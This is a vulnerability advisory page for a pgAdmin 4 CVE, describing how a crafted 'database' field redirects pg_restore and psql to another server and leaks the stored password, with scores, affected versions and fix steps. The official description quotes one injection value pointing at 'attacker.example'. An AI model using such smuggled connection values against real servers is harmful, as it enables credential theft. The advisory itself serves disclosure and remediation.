CVE-2026-86862Pgadmin 4 argument injection
CVSS score
7.1
High
CVSS 4.0 from f86ef6dc-4d3a-42ad-8f28-e6d5547a5007
Exploit probability (EPSS)
0.35%
0.35% chance of exploitation in the next 30 days, higher than 29.4% of all CVEs.
CISA KEV
Not in KEV
No confirmed exploitation reported by CISA so far.
Official description
pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user.
The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed.
The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment.
This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.
Source: NVD · CNA: f86ef6dc-4d3a-42ad-8f28-e6d5547a5007
How to fix it, step by step
Check whether you're affected
Find every system running Pgadmin 4 and compare its version with the affected versions.
Update to a fixed version
- Update Pgadmin 4 to 9.18 or later.
If you can't update right away
Apply the workaround or mitigation in the vendor's advisory until you can update:
Confirm the fix
Check that every affected system now reports a fixed version, and recheck the vendor's advisory: fixes are sometimes revised.
Was this useful?
How it can be exploited
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- None
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Values in red make the vulnerability easier to exploit or more damaging. CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Affected products
| Affected products | Versions |
|---|---|
| pgadmin Pgadmin 4 | < 9.18 |
| pgadmin.org PgAdmin 4 | < 9.18 |
Weakness
Timeline
- Published:
- Last modified:
Frequently asked questions
Is CVE-2026-86862 being exploited?
There is no confirmed exploitation in CISA's KEV catalog so far. Its EPSS score estimates a 0.4% probability of exploitation in the next 30 days.
What is the CVSS score of CVE-2026-86862?
CVE-2026-86862 has a CVSS 4.0 base score of 7.1 (high).
Which versions are affected?
Pgadmin Pgadmin 4 (< 9.18), Pgadmin Org PgAdmin 4 (< 9.18)
Is there a patch for CVE-2026-86862?
The official record links to vendor advisories or patches; see “What to do” above.
References
- github.com/pgadmin-org/pgadmin4/issues/10388(Exploit, Patch, Vendor Advisory)
Data: NVD, CVE.org (cvelistV5), CISA KEV and FIRST EPSS. Summary written by RedCVE with AI assistance from the official data.